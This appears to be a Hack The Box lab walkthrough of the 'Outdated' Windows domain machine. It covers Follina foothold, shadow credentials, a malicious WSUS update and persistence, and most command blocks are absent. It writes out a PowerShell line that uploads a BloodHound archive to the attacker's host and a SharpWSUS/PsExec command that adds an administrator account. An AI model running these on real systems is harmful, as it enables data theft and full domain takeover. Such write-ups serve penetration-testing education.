Outdated HTB Walkthrough

Oct 13, 2024    #box   #htb   #medium   #windows   #active-directory   #wsus   #kerberos   #follina   #rubeus   #whisker   #shadow-credentials   #msds-keycredentiallink  

Outdated Hack The Box Walkthrough/Writeup:

How I use variables & wordlists:

1. Enumeration:

NMAP:

LDAP 389:

Using LDAP anonymous bind to enumerate further:

DNS 53:

Kerberos 88:

Using Kerbrute to bruteforce Usernames:

SMTP 25:

Connecting to the SMTP service using telnet:

SMTP Commands (via Telnet):

I do some user enumeration using smtp-user-enum :

Attempting to bruteforce SMTP:

Using Hydra to bruteforce SMTP:
I try the SMTP NMAP bruteforcing .nse script:

SMB 445:

Attempting to connect with NULL & Guest sessions:

Attempting to use the sflowers username as password:

Logging into the Shares to find a PDF:

Attempting to extract creator names from the .PDF:

If you are not aware, it is sometimes possible to extract valid domain usernames from pdf's if they have been created on a Windows host. As often the Creator Field is populated using the Windows User’s Logged-In Name

Attempting to extract Usernames From the PDF using exiftool:

Reading NOC_Reminder.pdf and discovering exploits that the environment is susceptible to:

Investigating the CVE list For an attack path:

CVE-2022-30138 PrintSpooler Privilege Escalation:
CVE-2022-30129 Remote Code Execution vulnerability in Visual Studio Code:
CVE-2022-29110 Microsoft Excel Remote Code Execution Vulnerability:
CVE-2022-29130 Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability.:
CVE-2022-30190 Follina Exploit:

2. Foothold:

Quick overview on Follina Exploit:

Microsoft Support Diagnostic Tool (MSDT) Overview:

Trying to get a reverse shell using the Follina exploit:

Trying to get a reverse shell using Follina and a malicious .doc:

Trying to get a reverse shell using Follina malicious html:

Using John Hammond’s Follina exploit web-server to serve the payload:

Getting a Reverse shell using Follina.py:

Enumerating as the user btables:

Checking if PrintSpoofer is a viable exploit path:

Finding a check_mail.ps1 script containing clear text creds:

Reading Emails using check_mail.ps1:

Trying to Extract Credentials using LaZagne.exe :

Using SharpHound.exe to enumerate the environment.

Transferring the SharpHound Zip back to myself using my custom python webserver:

  1. Start my custom python webserver:

    • I have this handy python webserver that is useful when exfiling data.
    • +NOTE+:
      • Will output file as uploaded_file
      • FYI my server has certs and you can enter in passwords & usernames or it will auto-generate one for you.
      • The only reason I am not using 443 for https is because my revers-shell is running over that.

  2. Send the file from victim using powershell:

    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $wc = New-Object System.Net.WebClient; $wc.Headers.Add("Authorization", "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("bloodstiller:bl00dst1ll3r"))); try { $response = $wc.UploadData("https://10.10.14.43:9999", [System.IO.File]::ReadAllBytes("C:\Users\btables\20241011102426_BloodHound.zip")); Write-Host "Server response: $([System.Text.Encoding]::UTF8.GetString($response))"; Write-Host "File sent successfully!" } catch { Write-Host "An error occurred: $_" }
    • File received on our attack host:
      • +Note+: The file will be called uploaded_file you will have to change it back to a zip file.

3. Lateral Movement:

Building whisker.exe:

Adding Shadow Credentials to sflowers using whisker.exe :

I use the base64 encoded certificate to request a TGT for sflowers using rubeus:

Enumerating the Host as slfowers:

Seeing sflowers has outbound object control over the CA:

Discovering sflowers is part of the wsus administrators group:

What is WSUS (Windows Server Update Services)?

WSUS Architecture:

4. Privilege Escalation:

Manually Enumerating the WSUS Service by querying the registry:

Enumerating the Primary WSUS Settings:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
    SetActiveHours    REG_DWORD     0x1
    ActiveHoursStart    REG_DWORD     0x0
    ActiveHoursEnd    REG_DWORD     0x17
    AcceptTrustedPublisherCerts    REG_DWORD     0x1
    ExcludeWUDriversInQualityUpdate    REG_DWORD     0x1
    DoNotConnectToWindowsUpdateInternetLocations    REG_DWORD     0x1
    WUServer    REG_SZ     http://wsus.outdated.htb:8530
    WUStatusServer    REG_SZ     http://wsus.outdated.htb:8530
    UpdateServiceUrlAlternate    REG_SZ

Enumerating the Automatic Update Settings:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
    AutoInstallMinorUpdates    REG_DWORD     0x1
    NoAutoUpdate    REG_DWORD     0x0
    AUOptions    REG_DWORD     0x3
    ScheduledInstallDay    REG_DWORD     0x0
    ScheduledInstallTime    REG_DWORD     0x3
    ScheduledInstallEveryWeek    REG_DWORD     0x1
    UseWUServer    REG_DWORD     0x1

Analysis and Implications of the results:

Using SharpWSUS to push a malicious update:

Building SharpWSUS :

Using SharpWSUS to trigger a reverse shell as system:

While the need for a signed binary can limit some attack paths, there are still plenty of binaries that could be used such as PsExec.exe to run a command as SYSTEM, RunDLL32.exe to run a malicious DLL on a network share, MsBuild.exe to grab and execute a remote payload and more. The example in this blog will use PsExec.exe for code execution (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec ).

A patch leveraging PsExec.exe can be done with the following command:

SharpWSUS.exe create /payload:“C:\Users\ben\Documents\pk\psexec.exe” /args:"-accepteula -s -d cmd.exe /c \“net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add\”" /title:“WSUSDemo”

Creating a Malicious Update with SharpWSUS:
Approving our Malicious Update with SharpWSUS:

4. Persistence:

Creating a golden ticket with mimikatz.exe:

Dumping NTDS for fun for fun and profit:

Lessons Learned:

What did I learn?

  1. I learned about the follina exploit, I had never used that exploit previously so was interesting using purely the malicious HTML part as a delivery mechanism for our exploit.
  2. I learned a lot about WSUS. Looking at the different architecture options available and how to query the registry was interesting from an enumeration point of view.
  3. I learned about the process of doing a shadow credentials attack. I even stopped the box halfway to do a deep-dive and made a blog post I found it so interesting:

What silly mistakes did I make?

  1. Trying to download to C:\\Temp\\ you know the FAMOUS non-existent directory in windows!
  2. I had a couple of real dense moments when I was tired & over-thinking about how I could use the malicious Follina html instead of just sending the link.
  3. Oh, for some reason I kept forgetting to add the title with SharpWSUS.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

ā€“ Bloodstiller

ā€“ Get in touch bloodstiller at proton dot me


Next: Scrambled HTB Walkthrough